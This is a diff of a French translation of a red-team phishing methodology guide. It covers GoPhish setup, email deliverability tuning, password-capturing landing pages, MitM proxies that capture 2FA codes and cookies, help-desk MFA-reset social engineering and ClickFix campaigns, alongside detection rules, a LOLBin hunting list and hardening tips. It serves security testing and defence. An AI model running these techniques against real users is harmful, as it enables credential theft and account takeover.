- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@@ -78,17 +78,17 @@ Afin de vous assurer que le domaine expiré que vous allez acheter **possède d
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
-Afin de **découvrir davantage** d'adresses email valides ou **vérifier celles** que vous avez déjà trouvées, vous pouvez vérifier si vous pouvez brute-forcer les serveurs SMTP de la victime. [Apprenez comment vérifier/découvrir des adresses email ici](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
-De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour accéder à leurs mails**, vous pouvez vérifier s'il est vulnérable à du **brute force de noms d'utilisateur**, et exploiter la vulnérabilité si possible.
+In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Apprenez comment vérifier/découvrir des adresses email ici](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
+Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible.
-## Configurer GoPhish
+## Configuring GoPhish
### Installation
-Vous pouvez le télécharger depuis [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
+You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
-Téléchargez et décompressez-le dans `/opt/gophish` et exécutez `/opt/gophish/gophish`\
-Vous recevrez un mot de passe pour l'utilisateur admin sur le port 3333 dans la sortie. Par conséquent, accédez à ce port et utilisez ces identifiants pour changer le mot de passe admin. Vous pourriez devoir tunneler ce port en local:
+Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
+You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
```bash
ssh -L 3333:127.0.0.1:3333 @
```
@@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 @
**Configuration du certificat TLS**
-Avant cette étape, vous devez **déjà avoir acheté le domaine** que vous allez utiliser et il doit **pointer** vers l'**IP du VPS** où vous configurez **gophish**.
+Avant cette étape, vous devez **avoir déjà acheté le domaine** que vous allez utiliser et il doit **pointer** vers l'**IP du VPS** où vous configurez **gophish**.
```bash
DOMAIN=""
wget https://dl.eff.org/certbot-auto
@@ -114,24 +114,24 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Configuration du mail**
-Commencez l'installation : `apt-get install postfix`
+Commencez par installer : `apt-get install postfix`
-Ajoutez ensuite le domaine dans les fichiers suivants :
+Ajoutez ensuite le domaine aux fichiers suivants :
- **/etc/postfix/virtual_domains**
- **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp**
-**Modifiez également les valeurs des variables suivantes dans /etc/postfix/main.cf**
+**Modifiez aussi les valeurs des variables suivantes dans /etc/postfix/main.cf**
`myhostname = `\
`mydestination = $myhostname, , localhost.com, localhost`
-Enfin, modifiez les fichiers **`/etc/hostname`** et **`/etc/mailname`** pour y mettre votre nom de domaine et **redémarrez votre VPS.**
+Enfin modifiez les fichiers **`/etc/hostname`** et **`/etc/mailname`** avec votre nom de domaine et **redémarrez votre VPS.**
-Créez maintenant un **enregistrement DNS A** pour `mail.` pointant vers l'**adresse IP** du VPS et un **enregistrement DNS MX** pointant vers `mail.`
+Créez maintenant un **enregistrement DNS A** de `mail.` pointant vers l'**adresse IP** du VPS et un **enregistrement DNS MX** pointant vers `mail.`
-Testons maintenant l'envoi d'un e-mail :
+Testons maintenant l'envoi d'un email :
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
@@ -166,7 +166,7 @@ Modifiez `/opt/gophish/config.json` comme suit (notez l'utilisation de https) :
```
**Configurer le service gophish**
-Pour créer le service gophish afin qu'il puisse démarrer automatiquement et être géré comme un service, vous pouvez créer le fichier `/etc/init.d/gophish` avec le contenu suivant :
+Pour créer le service gophish afin qu'il puisse démarrer automatiquement et être géré en tant que service, vous pouvez créer le fichier `/etc/init.d/gophish` avec le contenu suivant :
```bash
#!/bin/bash
# /etc/init.d/gophish
@@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
-Terminez la configuration du service et vérifiez son fonctionnement en procédant comme suit :
+Terminez la configuration du service et vérifiez son bon fonctionnement en procédant ainsi :
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@@ -226,33 +226,33 @@ service gophish stop
```
## Configuration du serveur mail et du domaine
-### Attendre et paraître légitime
+### Attendre et rester légitime
-Plus un domaine est ancien, moins il y a de chances qu'il soit détecté comme spam. Vous devez donc attendre autant que possible (au moins 1 semaine) avant l'évaluation de phishing. De plus, si vous mettez une page liée à un secteur bénéficiant d'une bonne réputation, la réputation obtenue sera meilleure.
+Plus un domaine est ancien, moins il a de chances d'être détecté comme spam. Vous devez donc attendre autant que possible (au moins 1 semaine) avant l'évaluation phishing. De plus, si vous ajoutez une page liée à un secteur ayant une bonne réputation, la réputation obtenue sera meilleure.
-Notez que même si vous devez attendre une semaine, vous pouvez finir de tout configurer maintenant.
+Notez que même si vous devez attendre une semaine, vous pouvez terminer la configuration maintenant.
-### Configurer l'enregistrement Reverse DNS (rDNS)
+### Configurez l'enregistrement Reverse DNS (rDNS)
-Créez un enregistrement rDNS (PTR) qui résout l'adresse IP du VPS vers le nom de domaine.
+Configurez un enregistrement rDNS (PTR) qui résout l'adresse IP du VPS vers le nom de domaine.
-### Enregistrement Sender Policy Framework (SPF)
+### Enregistrement SPF (Sender Policy Framework)
-Vous devez **configurer un enregistrement SPF pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement SPF [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
+Vous devez **configurer un enregistrement SPF pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement SPF [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Vous pouvez utiliser [https://www.spfwizard.net/](https://www.spfwizard.net) pour générer votre politique SPF (utilisez l'IP de la machine VPS)
.png>)
-Voici le contenu qui doit être placé dans un enregistrement TXT du domaine:
+Voici le contenu qui doit être placé dans un enregistrement TXT du domaine :
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Enregistrement DMARC (Domain-based Message Authentication, Reporting & Conformance)
-Vous devez **configurer un enregistrement DMARC pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
+Vous devez **configurer un enregistrement DMARC pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement DMARC, [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
-Vous devez créer un nouvel enregistrement DNS TXT pointant le nom d'hôte `_dmarc.` avec le contenu suivant:
+Vous devez créer un nouvel enregistrement DNS TXT pointant le nom d'hôte `_dmarc.` avec le contenu suivant :
```bash
v=DMARC1; p=none
```
@@ -260,23 +260,23 @@ v=DMARC1; p=none
Vous devez **configurer un DKIM pour le nouveau domaine**. Si vous ne savez pas ce qu'est un enregistrement DMARC [**lisez cette page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
-This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
+Ce tutoriel est basé sur : [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
-> Vous devez concaténer les deux valeurs B64 que la clé DKIM génère :
+> Vous devez concaténer les deux valeurs B64 que génère la clé DKIM :
>
> ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
-### Test your email configuration score
+### Testez le score de configuration de votre e-mail
Vous pouvez le faire en utilisant [https://www.mail-tester.com/](https://www.mail-tester.com)\
-Il suffit d'accéder à la page et d'envoyer un email à l'adresse qu'ils vous fournissent :
+Accédez simplement à la page et envoyez un e-mail à l'adresse qu'ils vous donnent :
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
-Vous pouvez aussi **vérifier votre configuration email** en envoyant un email à `check-auth@verifier.port25.com` et en **lisant la réponse** (pour cela vous devrez **ouvrir** le port **25** et consulter la réponse dans le fichier _/var/mail/root_ si vous envoyez l'email en tant que root).\
+Vous pouvez aussi **vérifier la configuration de votre email** en envoyant un email à `check-auth@verifier.port25.com` et en **lisant la réponse** (pour cela vous devrez **ouvrir** le port **25** et voir la réponse dans le fichier _/var/mail/root_ si vous envoyez l'email en tant que root).\
Vérifiez que vous passez tous les tests:
```bash
==========================================================
@@ -288,40 +288,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
-Vous pouvez également envoyer **un message à un compte Gmail que vous contrôlez**, et vérifier les **en-têtes de l’e-mail** dans votre boîte de réception Gmail : `dkim=pass` doit être présent dans le champ d'en-tête `Authentication-Results`.
+Vous pouvez également envoyer **un message à un compte Gmail que vous contrôlez**, et vérifier les **en-têtes de l’email** dans votre boîte de réception Gmail, `dkim=pass` doit être présent dans le champ d'en-tête `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
-### Suppression de Spamhouse Blacklist
+### Retrait de la blacklist Spamhouse
-La page [www.mail-tester.com](https://www.mail-tester.com) peut vous indiquer si votre domaine est bloqué par spamhouse. Vous pouvez demander la suppression de votre domaine/IP à : [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
+La page [www.mail-tester.com](https://www.mail-tester.com) peut vous indiquer si votre domaine est bloqué par Spamhouse. Vous pouvez demander le retrait de votre domaine/IP sur : [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
-### Suppression de Microsoft Blacklist
+### Retrait de la blacklist Microsoft
-Vous pouvez demander la suppression de votre domaine/IP à [https://sender.office.com/](https://sender.office.com).
+Vous pouvez demander le retrait de votre domaine/IP sur [https://sender.office.com/](https://sender.office.com).
-## Créer & lancer une campagne GoPhish
+## Créer et lancer une campagne GoPhish
### Profil d'envoi
-- Choisissez un **nom pour identifier** le profil d'expéditeur
-- Décidez depuis quel compte vous allez envoyer les emails de phishing. Suggestions: _noreply, support, servicedesk, salesforce..._
-- Vous pouvez laisser vides le username et le password, mais assurez-vous de cocher Ignore Certificate Errors
+- Donnez un **nom pour identifier** le profil d'expéditeur
+- Décidez depuis quel compte vous allez envoyer les phishing emails. Suggestions : _noreply, support, servicedesk, salesforce..._
+- Vous pouvez laisser vide le username et le password, mais assurez-vous de cocher l'option Ignore Certificate Errors
- (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
+ (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
-> Il est recommandé d'utiliser la fonctionnalité "**Send Test Email**" pour tester que tout fonctionne.\
-> Je recommande d'**envoyer les emails de test à des adresses 10min mails** afin d'éviter d'être blacklisted lors des tests.
+> Il est recommandé d'utiliser la fonctionnalité "**Send Test Email**" pour vérifier que tout fonctionne.\
+> Je recommande d'**envoyer les test emails vers des adresses 10min mails** afin d'éviter d'être mis sur une blacklist lors des tests.
-### Modèle d'email
+### Email Template
-- Choisissez un **nom pour identifier** le modèle
-- Ensuite écrivez un **objet** (rien d'étrange, juste quelque chose que l'on pourrait s'attendre à lire dans un email ordinaire)
+- Donnez un **nom pour identifier** le template
+- Puis écrivez un **subject** (rien d'étrange, juste quelque chose que vous pourriez lire dans un email normal)
- Assurez-vous d'avoir coché "**Add Tracking Image**"
-- Rédigez le **modèle d'email** (vous pouvez utiliser des variables comme dans l'exemple suivant):
+- Rédigez le **email template** (vous pouvez utiliser des variables comme dans l'exemple suivant) :
```html
@@ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
```
-Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'utiliser une signature issue d'un email réel du client. Suggestions :
+Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'utiliser une signature provenant d'un email du client. Suggestions :
- Envoyer un email à une **adresse inexistante** et vérifier si la réponse contient une signature.
-- Chercher des **emails publics** comme info@ex.com ou press@ex.com ou public@ex.com et leur envoyer un email puis attendre la réponse.
-- Tenter de contacter **quelque adresse valide découverte** et attendre la réponse.
+- Rechercher des **emails publics** comme info@ex.com ou press@ex.com ou public@ex.com et leur envoyer un email en attendant la réponse.
+- Essayer de contacter **une adresse valide découverte** et attendre la réponse
.png>)
> [!TIP]
-> Le Email Template permet aussi de **joindre des fichiers à envoyer**. Si vous souhaitez aussi voler des NTLM challenges en utilisant des fichiers/documents spécialement conçus, [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
+> Le Email Template permet aussi **d'attacher des fichiers à envoyer**. Si vous souhaitez aussi voler des challenges NTLM en utilisant des fichiers/documents spécialement construits [lisez cette page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page
-- Indiquer un **nom**
-- **Écrire le code HTML** de la page web. Notez que vous pouvez **importer** des pages web.
+- Saisir un **nom**
+- **Saisir le code HTML** de la page web. Notez que vous pouvez **importer** des pages web.
- Cocher **Capture Submitted Data** et **Capture Passwords**
- Définir une **redirection**
.png>)
> [!TIP]
-> En général vous devrez modifier le code HTML de la page et faire quelques tests en local (peut-être en utilisant un serveur Apache) **jusqu'à ce que le rendu vous convienne.** Ensuite, collez ce code HTML dans la zone prévue.\
-> Notez que si vous avez besoin d'**utiliser des ressources statiques** pour le HTML (par exemple des fichiers CSS ou JS) vous pouvez les sauvegarder dans _**/opt/gophish/static/endpoint**_ puis y accéder depuis _**/static/\**_
+> En général vous devrez modifier le code HTML de la page et faire des tests en local (peut-être en utilisant un serveur Apache) **jusqu'à obtenir le résultat souhaité.** Ensuite, collez ce code HTML dans la boîte.\
+> Notez que si vous avez besoin d'**utiliser des ressources statiques** pour le HTML (par exemple des pages CSS et JS) vous pouvez les sauvegarder dans _**/opt/gophish/static/endpoint**_ puis y accéder depuis _**/static/\**_
> [!TIP]
-> Pour la redirection, vous pouvez **rediriger les utilisateurs vers la page web légitime principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, afficher une **roue tournante (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes puis indiquer que le processus a réussi**.
+> Pour la redirection vous pouvez **rediriger les utilisateurs vers la page web légitime principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre une **animation de chargement (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes puis indiquer que le processus a réussi**.
### Users & Groups
-- Indiquer un nom
-- **Importer les données** (notez que pour utiliser le template d'exemple vous aurez besoin du firstname, last name et email address de chaque utilisateur)
+- Définir un nom
+- **Importer les données** (notez que pour utiliser le template d'exemple vous avez besoin du firstname, last name et email address de chaque utilisateur)
.png>)
### Campaign
-Enfin, créez une campagne en sélectionnant un nom, le email template, la landing page, l'URL, le sending profile et le groupe. Notez que l'URL sera le lien envoyé aux victimes
+Enfin, créez une campagne en sélectionnant un nom, le email template, la landing page, l'URL, le Sending Profile et le groupe. Notez que l'URL sera le lien envoyé aux victimes
-Notez que le **Sending Profile permet d'envoyer un email test pour voir à quoi ressemblera l'email final de phishing** :
+Notez que le **Sending Profile permet d'envoyer un email de test pour voir à quoi ressemblera l'email de phishing final** :
.png>)
> [!TIP]
> Je recommande d'**envoyer les emails de test vers des adresses 10min mails** afin d'éviter d'être blacklisté lors des tests.
-Une fois tout prêt, lancez simplement la campagne !
+Une fois que tout est prêt, lancez simplement la campagne !
## Website Cloning
-Si pour une raison quelconque vous souhaitez cloner le site web, consultez la page suivante :
+Si, pour une raison quelconque, vous voulez cloner le site web consultez la page suivante :
{{#ref}}
@@ -398,8 +398,8 @@ clone-a-website.md
## Backdoored Documents & Files
-Dans certaines évaluations de phishing (principalement pour les Red Teams) vous souhaiterez aussi **envoyer des fichiers contenant une sorte de backdoor** (peut‑être un C2 ou peut‑être simplement quelque chose qui déclenchera une authentification).\
-Consultez la page suivante pour des exemples :
+Dans certaines évaluations de phishing (principalement pour les Red Teams) vous souhaiterez également **envoyer des fichiers contenant une sorte de backdoor** (peut-être un C2 ou peut-être juste quelque chose qui déclenchera une authentification).\
+Consultez la page suivante pour quelques exemples :
{{#ref}}
@@ -410,51 +410,51 @@ phishing-documents.md
### Via Proxy MitM
-L'attaque précédente est assez intelligente car vous falsifiez un site réel et collectez les informations saisies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas entré le bon mot de passe ou si l'application que vous avez falsifiée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'utilisateur trompé**.
+L'attaque précédente est assez astucieuse car vous falsifiez un vrai site et collectez les informations saisies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez falsifiée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'utilisateur piégé**.
-C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Cet outil vous permet de générer une attaque MitM. En gros, l'attaque fonctionne de la manière suivante :
+C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Ces outils permettent de générer une attaque de type MitM. En gros, l'attaque fonctionne de la manière suivante :
-1. Vous **vous faites passer pour le formulaire de login** de la page web réelle.
-2. L'utilisateur **envoie** ses **credentials** vers votre page factice et l'outil les renvoie à la page réelle, **vérifiant si les credentials fonctionnent**.
-3. Si le compte est configuré avec **2FA**, la page MitM demandera le code et une fois que **l'utilisateur le saisit**, l'outil le transmettra à la page réelle.
-4. Une fois l'utilisateur authentifié, vous (en tant qu'attaquant) aurez **capturé les credentials, le 2FA, le cookie et toute information** de chaque interaction pendant que l'outil réalise le MitM.
+1. Vous **usurpez le formulaire de login** de la page réelle.
+2. L'utilisateur **envoie** ses **identifiants** à votre page factice et l'outil les transmet à la page réelle, **vérifiant si les identifiants fonctionnent**.
+3. Si le compte est configuré avec **2FA**, la page MitM demandera le code et une fois que **l'utilisateur le saisit** l'outil l'enverra à la page réelle.
+4. Une fois l'utilisateur authentifié vous (en tant qu'attaquant) aurez **capturé les identifiants, le 2FA, le cookie et toute information** de chaque interaction pendant que l'outil réalise le MitM.
### Via VNC
-Et si, au lieu de **rediriger la victime vers une page malveillante** ayant l'apparence de l'originale, vous la redirigiez vers une **session VNC avec un navigateur connecté à la page web réelle** ? Vous pourrez voir ses actions, voler le mot de passe, la MFA utilisée, les cookies...\
+Et si, au lieu d'**envoyer la victime vers une page malveillante** ayant la même apparence que l'originale, vous l'envoyiez vers une **session VNC avec un navigateur connecté à la page réelle** ? Vous pourrez voir ce qu'il fait, voler le mot de passe, le MFA utilisé, les cookies...\
Vous pouvez faire cela avec [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
-Évidemment, l'une des meilleures façons de savoir si vous avez été démasqué est de **chercher votre domaine dans les blacklists**. S'il apparaît listé, d'une manière ou d'une autre votre domaine a été détecté comme suspicieux.\
-Un moyen simple de vérifier si votre domaine apparaît dans une blacklist est d'utiliser [https://malwareworld.com/](https://malwareworld.com)
+Évidemment, l'une des meilleures façons de savoir si vous avez été repéré est de **rechercher votre domaine dans des listes noires**. S'il apparaît listé, d'une manière ou d'une autre votre domaine a été détecté comme suspect.\
+Une façon simple de vérifier si votre domaine apparaît dans une liste noire est d'utiliser [https://malwareworld.com/](https://malwareworld.com)
-Cependant, il existe d'autres façons de savoir si la victime **cherche activement des activités de phishing suspectes dans la nature**, comme expliqué dans :
+Cependant, il existe d'autres moyens de savoir si la victime **cherche activement des activités de phishing suspectes dans la nature** comme expliqué dans :
{{#ref}}
detecting-phising.md
{{#endref}}
-Vous pouvez **acheter un domaine au nom très similaire** à celui de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine que vous contrôlez **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une quelconque interaction **DNS ou HTTP** avec eux, vous saurez qu'**elle recherche activement** des domaines suspects et vous devrez être très discret.
+Vous pouvez **acheter un domaine au nom très similaire** à celui de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue n'importe quel type d'**interaction DNS ou HTTP** avec eux, vous saurez qu'**elle recherche activement** des domaines suspects et vous devrez être très discret.
-### Evaluate the phishing
+### Évaluer le phishing
-Utilisez [**Phishious** ](https://github.com/Rices/Phishious) pour évaluer si votre email finira dans le dossier spam ou s'il sera bloqué ou réussi.
+Utilisez [**Phishious** ](https://github.com/Rices/Phishious) pour évaluer si votre email finira dans le dossier spam, s'il sera bloqué ou s'il sera réussi.
## High-Touch Identity Compromise (Help-Desk MFA Reset)
-Les campagnes d'intrusion modernes évitent de plus en plus les leurres par email et **ciblent directement le service desk / le workflow de réinitialisation d'identité** pour contourner la MFA. L'attaque est entièrement "living-off-the-land" : une fois que l'opérateur possède des credentials valides, il pivote avec les outils d'admin intégrés – aucun malware requis.
+Les ensembles d'intrusion modernes évitent de plus en plus les leurres par email et **visent directement le service-desk / le workflow de récupération d'identité** pour contourner la MFA. L'attaque est entièrement "living-off-the-land" : une fois que l'opérateur possède des identifiants valides, il pivote avec des outils d'administration intégrés – aucun malware n'est requis.
### Attack flow
1. Reconnaissance de la victime
-* Collecter des détails personnels & professionnels depuis LinkedIn, breaches de données, GitHub public, etc.
-* Identifier les identités à haute valeur (dirigeants, IT, finance) et énumérer le **processus exact du help-desk** pour la réinitialisation du mot de passe / MFA.
+* Récupérer des détails personnels & professionnels depuis LinkedIn, des fuites de données, GitHub public, etc.
+* Identifier les identités à haute valeur (cadres, IT, finance) et énumérer le **processus exact du help-desk** pour la réinitialisation de mot de passe / MFA.
2. Social engineering en temps réel
-* Appeler, contacter via Teams ou chat le help-desk en se faisant passer pour la cible (souvent avec **spoofed caller-ID** ou **voix clonée**).
-* Fournir les PII collectées précédemment pour passer la vérification basée sur la connaissance.
+* Appeler, contacter via Teams ou chat le help-desk en usurpant l'identité de la cible (souvent avec **spoofed caller-ID** ou **cloned voice**).
+* Fournir les PII précédemment collectées pour passer la vérification basée sur les connaissances.
* Convaincre l'agent de **réinitialiser le secret MFA** ou d'effectuer un **SIM-swap** sur un numéro mobile enregistré.
-3. Actions immédiates post‑accès (≤60 min dans des cas réels)
+3. Actions post-accès immédiates (≤60 min dans des cas réels)
* Établir un point d'appui via n'importe quel portail web SSO.
* Énumérer AD / AzureAD avec les outils intégrés (aucun binaire déployé) :
```powershell
@@ -467,58 +467,58 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId
```
-* Mouvement latéral avec **WMI**, **PsExec**, ou des agents **RMM** légitimes déjà whitelistés dans l'environnement.
+* Mouvement latéral avec **WMI**, **PsExec**, ou des agents **RMM** légitimes déjà en liste blanche dans l'environnement.
### Detection & Mitigation
* Traiter la récupération d'identité via le help-desk comme une **opération privilégiée** – exiger une authentification renforcée & l'approbation d'un manager.
* Déployer des règles **Identity Threat Detection & Response (ITDR)** / **UEBA** qui alertent sur :
-* Méthode MFA changée + authentification depuis un nouvel appareil / une nouvelle géolocalisation.
+* Méthode MFA changée + authentification depuis un nouvel appareil / une nouvelle géo.
* Élévation immédiate du même principal (user → admin).
-* Enregistrer les appels au help-desk et imposer un **rappel vers un numéro déjà enregistré** avant toute réinitialisation.
-* Mettre en œuvre **Just-In-Time (JIT) / Privileged Access** afin que les comptes nouvellement réinitialisés **n'héritent pas automatiquement** de tokens à haut privilège.
+* Enregistrer les appels du help-desk et imposer un **rappel vers un numéro déjà enregistré** avant toute réinitialisation.
+* Mettre en place **Just-In-Time (JIT) / Privileged Access** afin que les comptes nouvellement réinitialisés **n'héritent pas** automatiquement de jetons à haut privilège.
---
## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
-Les groupes à grand volume compensent le coût des opérations high-touch par des attaques de masse qui transforment **les moteurs de recherche & les réseaux publicitaires en canal de livraison**.
+Des groupes grand public compensent le coût des opérations high-touch par des attaques massives qui transforment **les moteurs de recherche & les réseaux publicitaires en canal de distribution**.
-1. **SEO poisoning / malvertising** pousse un résultat factice tel que `chromium-update[.]site` en tête des annonces de recherche.
+1. **SEO poisoning / malvertising** pousse un faux résultat comme `chromium-update[.]site` en haut des annonces de recherche.
2. La victime télécharge un petit **first-stage loader** (souvent JS/HTA/ISO). Exemples observés par Unit 42 :
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
-3. Le loader exfiltre les cookies du navigateur + les credential DBs, puis récupère un **silent loader** qui décide – *en temps réel* – de déployer :
-* RAT (par ex. AsyncRAT, RustDesk)
+3. Le loader exfiltre les cookies du navigateur + les bases de données d'identifiants, puis récupère un **silent loader** qui décide – *en temps réel* – s'il va déployer :
+* RAT (ex. AsyncRAT, RustDesk)
* ransomware / wiper
-* composant de persistence (registry Run key + scheduled task)
+* composant de persistence (clé Run du registre + tâche planifiée)
-### Hardening tips
-* Bloquer les domaines nouvellement enregistrés & appliquer un **Advanced DNS / URL Filtering** sur les *search-ads* ainsi que sur les emails.
-* Restreindre l'installation de logiciels aux packages MSI signés / Store, refuser l'exécution de `HTA`, `ISO`, `VBS` par politique.
-* Surveiller les processus enfants des navigateurs qui ouvrent des installateurs :
+### Conseils de durcissement
+* Bloquer les domaines nouvellement enregistrés & appliquer un **Advanced DNS / URL Filtering** sur les *search-ads* ainsi que sur les e-mails.
+* Restreindre l'installation de logiciels aux packages MSI signés / Store, interdire l'exécution de `HTA`, `ISO`, `VBS` par politique.
+* Surveiller les processus enfants des navigateurs lançant des installateurs :
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
-* Chasser les LOLBins fréquemment abusés par les first-stage loaders (par ex. `regsvr32`, `curl`, `mshta`).
+* Chasser les LOLBins fréquemment abusés par les first-stage loaders (ex. `regsvr32`, `curl`, `mshta`).
---
## AI-Enhanced Phishing Operations
-Les attaquants enchaînent désormais des API LLM & voice-clone pour des leurres entièrement personnalisés et une interaction en temps réel.
+Les attaquants enchaînent maintenant **LLM & APIs de clonage vocal** pour des leurres totalement personnalisés et des interactions en temps réel.
-| Layer | Example use by threat actor |
+| Couche | Exemple d'utilisation par un acteur de menace |
|-------|-----------------------------|
-|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
-|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
-|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.|
+|Automation|Générer & envoyer >100 k emails / SMS avec une formulation aléatoire & des liens trackés.|
+|Generative AI|Produire des emails *one-off* faisant référence à des M&A publics, des blagues internes issues des réseaux sociaux ; voix deep-fake du CEO lors d'un rappel.|
+|Agentic AI|Enregistrer automatiquement des domaines, scraper l'OSINT, rédiger les emails de l'étape suivante quand une victime clique mais ne soumet pas ses identifiants.|
**Défense :**
-• Ajouter des **bannières dynamiques** signalant les messages envoyés par de l'automatisation non fiable (via anomalies ARC/DKIM).
+• Ajouter des **bannières dynamiques** mettant en évidence les messages envoyés par de l'automatisation non fiable (via anomalies ARC/DKIM).
• Déployer des **phrases de défi biométriques vocales** pour les demandes téléphoniques à haut risque.
-• Simuler en continu des leurres générés par l'AI dans les programmes de sensibilisation – les templates statiques sont obsolètes.
+• Simuler en continu des leurres générés par IA dans les programmes de sensibilisation – les modèles statiques sont obsolètes.
-Voir aussi – agentic browsing abuse for credential phishing :
+See also – agentic browsing abuse for credential phishing:
{{#ref}}
ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
@@ -527,7 +527,7 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant – Forced Reset
-Outre le push-bombing classique, les opérateurs forcent simplement une nouvelle inscription MFA pendant l'appel au help-desk, annulant le token existant de l'utilisateur. Toute invite de connexion suivante paraît légitime pour la victime.
